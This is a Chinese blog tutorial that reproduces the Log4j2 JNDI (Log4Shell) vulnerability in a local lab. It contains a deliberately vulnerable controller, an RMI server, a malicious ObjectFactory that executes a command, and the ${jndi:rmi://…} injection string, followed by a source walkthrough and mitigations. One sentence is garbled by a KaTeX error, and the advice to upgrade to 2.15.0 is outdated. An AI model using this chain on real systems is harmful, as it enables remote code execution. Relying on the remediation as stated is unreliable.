一、背景

其实早就听闻log4j2的这个史诗级漏洞，当时也看了一遍视频，但自己一直都没有实践，这不摸鱼的时候突然发现，自己偶然创建的demo依赖中log4j2日志版本号好像挺老,突然就心血来潮想要复现一下当年的漏洞，尝试知道原理以及如何解决。

二、复现demo搭建

受影响版本 ：2.x<=2.14.1
导入依赖：
当时我是直接是用的spring-boot-starter-log4j2,版本和父项目一致：2.3.0.RELEASE
父项目依赖：

<dependencyManagement>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-dependencies</artifactId>
            <version>2.3.0.RELEASE</version>
            <type>pom</type>
            <scope>import</scope>
        </dependency>
    </dependencies>
</dependencyManagement>

   <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
       </dependency>

可以从maven里面看到版本号为2.13.2，是有可能造成漏洞的

2.1、被攻击者代码

这块代码很正常，在一个非常普通的controller中建一个接口即可：

package com.mbw.controller;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;


@RestController
public class LearnController {
    private static final Logger logger = LoggerFactory.getLogger(LearnController.class);

    @PostMapping("/hack")
    public String testHackExecute(String content){
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        logger.info("应用正常运行中。。。。。。。。。。。。。");
        logger.info("content:{}", content);
        return content;
    }
}

大家可能会对下面这行代码感到疑惑

 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

ps:jdk1.8.121之后都需要添加上面这行代码，这样就可以执行任意命令了。这个就涉及到JNDI和RMI有关，而这也是我们复现漏洞需要用到的。
我们需要先了解几个知识点：

2.1.1.什么是RMI

RMI：

远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多，比如：CORBA、WebService，这两种都是独立于编程语言的。而RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制，远程服务器实现具体的Java方法并提供接口，客户端本地仅需根据接口类的定义，提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ，Java 远程消息交换协议)，该协议为Java定制，要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样，规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。

通俗来讲，rmi是客户端调用服务器的方法，并在服务端执行后返回结果。与JNDI不同，JNDI注入攻击者是rmi的服务端。JDK1.8.121之前版本rmi本身就有反序列化漏洞。示例如下：
①先启动一个本地RMI

public class MainTest {
    public static void main(String[] args) throws Exception {

        // 在本机 1999 端口开启 rmi registry，可以通过 JNDI API 来访问此 rmi registry
        Registry registry = LocateRegistry.createRegistry(1999);

        // 创建一个 Reference，第一个参数无所谓，第二个参数指定 Object Factory 的类名：

        // 第三个参数是 codebase，表明如果客户端在 classpath 里面找不到
        // jndiinj.EvilObjectFactory，则去 http://localhost:9999/ 下载

        // 当然利用的时候这里应该是一个真正的 codebase 的地址
        Reference ref = new Reference("test",
                "jndiinj.EvilObjectFactory", "http://localhost:9999/");

        // 因为只有实现 Remote 接口的对象才能绑定到 rmi registry 里面去
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("evil", wrapper);
    }
}

②连接本地客户端

public class LookupTest {
    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        Context ctx = new InitialContext();
        // ctx.lookup 参数需要可控
        Object lookup = ctx.lookup("rmi://localhost:1999/evil");
        System.out.println(lookup);
    }
}

2.1.2.什么是JNDI

简单来说，JNDI (Java Naming and Directory Interface) 是一组应用程序接口，它为开发人员查找和访问各种资源提供了统一的通用接口，可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机，也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象，RMI注册的服务可以通过JNDI接口来访问和调用。

String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);

这是指通过context对象访问远程rmi对象。整个过程如下：

1. 目标代码中调用了InitialContext.lookup(URI)，且URI为用户可控；
2. 攻击者控制URI参数为恶意的RMI服务地址，如：rmi://hacker_rmi_server//name；
3. 攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；
4. 目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例；
5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果；

InitialContext.lookup()调用栈为：

getURLOrDefaultInitCtx("aa");
getURLContext("aa");
RegistryContext.lookup("aa");
RegistryContext.decodeObject(referenceWrapper,"aa");
NamingManager.getObjectInstance();
factory.getObjectInstance(refInfo, name, nameCtx,environment);//创建恶意类对象

那么这样其实也就是log4j2触发漏洞的核心原因：
log4j2 官方文档也同样支持 Jndi Lookup

RMI 和 LDAP 是 JND I默认支持自动转换的协议：

协议名称	协议URL	Context类
RMI协议	rmi://	com.sun.jndi.url.rmi.rmiURLContext
LDAP协议	ldap://	com.sun.jndi.url.ldap.ldapURLContext

2.1.3、为什么Reference要引用一个远程的类

因为服务端传给客户端的是一个Reference对象，如果这个对象里没有factory和factoryLaction的话只会在客户端本地查找恶意类，但是恶意类是存放在远程的。

2.2、攻击者代码

首先我们在本地搭建攻击者代码，当然一般情况下攻击类是在远程的，这里模拟就在本地搭建一个：
这个黑客要做的事很简单，就是打开一个dos窗口

package com.mbw.rmi;



import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import javax.swing.*;
import java.awt.*;
import java.io.File;
import java.io.IOException;
import java.util.Hashtable;


/**
 * 在这里实现了ObjectFactory接口，主要是针对EvilObj类无法转换为ObjectFactory对象，其他Java版本中可能不存在这个问题
 */
public class EvilObj extends JFrame implements ObjectFactory {
    static {
        System.out.println("JNDI 触发 RMIServer,黑客要开始搞事情了");
        // 在创建对象过程中插入恶意的攻击代码，或者直接创建一个本地命令执行的Process对象从而实现RCE
        try {
            Runtime.getRuntime()
                    .exec("cmd.exe /C start", null, new File("c:/"));
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    /**
     * @param obj         包含可在创建对象时使用的位置或引用信息的对象（可能为 null）。
     * @param name        此对象相对于 ctx 的名称，如果没有指定名称，则该参数为 null。
     * @param nameCtx     一个上下文，name 参数是相对于该上下文指定的，如果 name 相对于默认初始上下文，则该参数为 null。
     * @param environment 创建对象时使用的环境（可能为 null）。
     * @return 对象工厂创建出的对象
     * @throws Exception 对象创建异常
     */
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }

}

然后在本地搭建一个RMI服务器：

package com.mbw.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {

    public static void main(String... args) {
        try {
            Registry registry = createRegistry(1099);
            System.out.println("Create RMI registry on port 1099");
            registry.bind("evil", createReferenceWrapper("com.mbw.rmi.EvilObj","com.mbw.rmi.EvilObj", "http://127.0.0.1:9090/"));
        } catch (RemoteException | NamingException | AlreadyBoundException e) {
            e.printStackTrace();
        }
    }

    /**
     * 监听端口 。
     * @param port .
     * @return .
     * @throws RemoteException .
     */
    private static Registry createRegistry(int port) throws RemoteException {
        LocateRegistry.createRegistry(port);
        return LocateRegistry.getRegistry();
    }

    /**
     * 创建一个远程的 JNDI 对象工厂类的引用对象 ，
     * 将其转化为 RMI 引用对象 。
     * @param className .
     * @param factory .
     * @param factoryLocation .
     * @return .
     * @throws RemoteException .
     * @throws NamingException .
     */
    private static ReferenceWrapper createReferenceWrapper(String className, String factory, String factoryLocation) throws RemoteException, NamingException {
        return new ReferenceWrapper(new Reference(className, factory, factoryLocation));
    }
}

此时启动RMIServer,然后启动被攻击者服务：
我们假装黑客使用postman去调用被害者服务：
在被害者服务代码所需参数content输入${jndi:rmi://127.0.0.1:1099/evil}

可以看到漏洞复现，攻击者执行了被攻击者的代码，这是很可怕的事情。

2.3、log4j2漏洞原因

Log4j的lookup功能
本次漏洞是因为Log4j2组件中 lookup功能的实现类 JndiLookup 的设计缺陷导致，这个类存在于log4j-core-xxx.jar中。

log4j的Lookups功能可以快速打印包括运行应用容器的docker属性，环境变量，日志事件，Java应用程序环境信息等内容。比如我们打印Java运行时版本：

public class VulnerabilityTest {
    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args) {
        LOGGER.error("Test:{}","${java:runtime}");
    }
}

输出：

那么JndiLookup到底有什么设计缺陷导致出现的史诗级漏洞呢？

我们首先把目标放在org.apache.logging.log4j.core.pattern.MessagePatternConverter#format:

public void format(final LogEvent event, final StringBuilder toAppendTo) {
        Message msg = event.getMessage();
        if (msg instanceof StringBuilderFormattable) {
            boolean doRender = this.textRenderer != null;
            StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
            int offset = workingBuilder.length();
            if (msg instanceof MultiFormatStringBuilderFormattable) {
                ((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
            } else {
                ((StringBuilderFormattable)msg).formatTo(workingBuilder);
            }

            if (this.config != null && !this.noLookups) {
                for(int i = offset; i < workingBuilder.length() - 1; ++i) {
                    if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                        String value = workingBuilder.substring(offset, workingBuilder.length());
                        workingBuilder.setLength(offset);
                        workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
                    }
                }
            }
						 ...
        } else {
						...
        }
    }

我们传入的message会通过MessagePatternConverter.format()，判断如果config存在并且noLookups为false（默认为false），然后匹配到KaTeX parse error: Expected '}', got 'EOF' at end of input: …)替换原有的字符串，比如这里的{java:runtime}。

因为这里没有任何的白名单，那么我们就可以构造任何的字符串，只有符合${就可以。

继续往下走，来到org.apache.logging.log4j.core.lookup.Interpolator#lookup

我们可以看到处理event的时候根据前缀选择对应的StrLookup进行处理，目前支持date，jndi，java，main等多种类型，如果构造的event是jndi，则通过JndiLoopup进行处理，从而构造漏洞。
2.4、解决方案
1.升级版本
我们可以使用maven helper插件查询log4j2，然后remove掉这些冲突的依赖

最后加上新的依赖，然后reimport就好了：

         <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
            <exclusions>
                <exclusion>
                    <artifactId>log4j-core</artifactId>
                    <groupId>org.apache.logging.log4j</groupId>
                </exclusion>
                <exclusion>
                    <artifactId>log4j-slf4j-impl</artifactId>
                    <groupId>org.apache.logging.log4j</groupId>
                </exclusion>
                <exclusion>
                    <artifactId>log4j-api</artifactId>
                    <groupId>org.apache.logging.log4j</groupId>
                </exclusion>
            </exclusions>
        </dependency>
        <!-- 引入新版本log4j2 -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.15.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.15.0</version>
            <exclusions>
                <exclusion>
                    <artifactId>log4j-api</artifactId>
                    <groupId>org.apache.logging.log4j</groupId>
                </exclusion>
            </exclusions>
        </dependency>

2.临时方案

添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true；
在应用classpath下添加log4j2.component.properties配置文件，文件内容为log4j2.formatMsgNoLookups=true；
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本；
部署使用第三方防火墙产品进行安全防护。